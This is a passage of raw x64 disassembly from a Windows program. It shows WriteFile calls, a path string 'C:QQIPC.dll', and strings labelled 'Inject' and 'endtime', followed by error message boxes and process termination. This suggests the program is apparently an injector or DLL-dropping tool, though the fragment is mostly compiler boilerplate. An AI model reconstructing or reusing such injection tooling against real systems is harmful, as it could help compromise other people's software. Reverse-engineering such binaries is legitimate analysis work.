mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x80]
mov r8d, esi
mov rdx, r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov rcx, r15
call fcn.14003fbb0
movups xmm0, xmmword [str.C:QQIPC.dll]
movaps xmmword [rbp + 0x1b0], xmm0
movsd xmm1, qword [0x140081b58]
movsd qword [rbp + 0x1c0], xmm1
movzx eax, word [0x140081b60]
mov word [rbp + 0x1c8], ax
xor edx, edx
mov r8d, 0x1ee
lea rcx, [rbp + 0x1ca]
call fcn.14003fbb0
lea rcx, [rbp + 0x1b0]
call fcn.1400302c0
test eax, eax
jne 0x140032248
lea rax, [rbp - 0x70]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], 0xf
mov r8d, 0xd
lea rdx, [0x140081b68]
lea rcx, [rbp - 0x70]
call fcn.140003fd0
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0xd0], rbx
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], 0xf
xor r8d, r8d
lea rdx, [0x140079b6b]
lea rcx, [rbp + 0xd0]
call fcn.140003fd0
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov rdi, qword [rbp + 0x80]
lea rsi, [rbp + 0x70]
cmp qword [rbp + 0x88], 0x10
cmovae rsi, qword [rbp + 0x70]
cmp rdi, 0x10
jae 0x140032120
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], 0xf
jmp 0x14003219d
imul rax, rdx, 0x274
mov r15d, dword [rax + rsi + 0x24]
jmp 0x140031e67
mov rbx, rdi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140032174
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400325d0
mov rcx, rax
call fcn.14003d5bc
mov rcx, rax
test rax, rax
je 0x1400325d6
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140032182
test rcx, rcx
je 0x140032180
call fcn.14003d5bc
jmp 0x140032182
xor eax, eax
mov qword [rsp + 0x60], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14003f500
mov qword [rsp + 0x78], rbx
xor ebx, ebx
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], 0xf
mov r8d, 7
lea rdx, str.endtime
lea rcx, [rbp - 0x50]
call fcn.140003fd0
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0x130]
call fcn.140039780
nop
mov r8, rax
lea rcx, [rbp + 0x10]
call fcn.140036770
nop
lea rdx, [rbp - 0x70]
mov rcx, rax
call fcn.140030810
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x140032264
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032241
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400325dc
call fcn.14003d588
jmp 0x140032264
mov r9d, 1
lea r8, str.Inject
lea rdx, [0x140081ba8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1400322bb
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400322b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400325e2
call fcn.14003d588
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x1400322fc
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400322f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400325e8
call fcn.14003d588
mov qword [rbp + 0x160], rbx
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140032351
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003234b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400325ee
call fcn.14003d588
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x140032393
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003238d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400325f4
call fcn.14003d588
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0x10
jb 0x1400323d4
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400323cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400325fa
call fcn.14003d588
mov qword [rbp + 0x1a0], rbx
mov qword [rbp + 0x1a8], 0xf
mov byte [rbp + 0x190], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0x10
jb 0x14003242e
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032429
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032600
call fcn.14003d588
mov qword [rbp + 0x180], rbx
mov qword [rbp + 0x188], 0xf
mov byte [rbp + 0x170], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x140032488
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140032483
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032606
call fcn.14003d588
mov qword [rbp + 0x120], rbx
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
cmp byte [rsp + 0x40], 0
je 0x1400324e0
mov rdx, qword [rbp + 0x108]
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400324da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032522
call fcn.14003d588
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x140031070
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003106b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140032528
jmp 0x14003106b
call fcn.140043a58
nop
call fcn.140043a58
nop
mov r9d, 0x40
lea r8, str.Title
lea rdx, str.d_driver_Error__
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call fcn.14004d4d0
nop
call fcn.1400012f0
int3
call fcn.140043a58
nop
call fcn.140043a58
nop
call fcn.1400012f0
int3
call fcn.140043a58
nop
call fcn.1400012f0
int3
call fcn.140043a58
nop
call fcn.140043a58
nop
call fcn.1400012f0
int3
call fcn.140043a58
nop
call fcn.1400012f0
int3
call fcn.140043a58
nop
call fcn.140043a58
nop
call fcn.140043a58
nop
call fcn.140043a58
nop
call fcn.1400012f0
int3
call fcn.140043a58
nop
call fcn.1400012f0
int3
call fcn.140043a58
nop
call fcn.140043a58
int3
call fcn.140043a58
nop
call fcn.1400012f0
int3
call fcn.140043a58
nop
call fcn.140043a58
nop
call fcn.140043a58
nop
call fcn.140043a58
nop
call fcn.140043a58
nop
call fcn.140043a58
nop
call fcn.140043a58
nop
call fcn.140043a58
nop
call fcn.140043a58
int3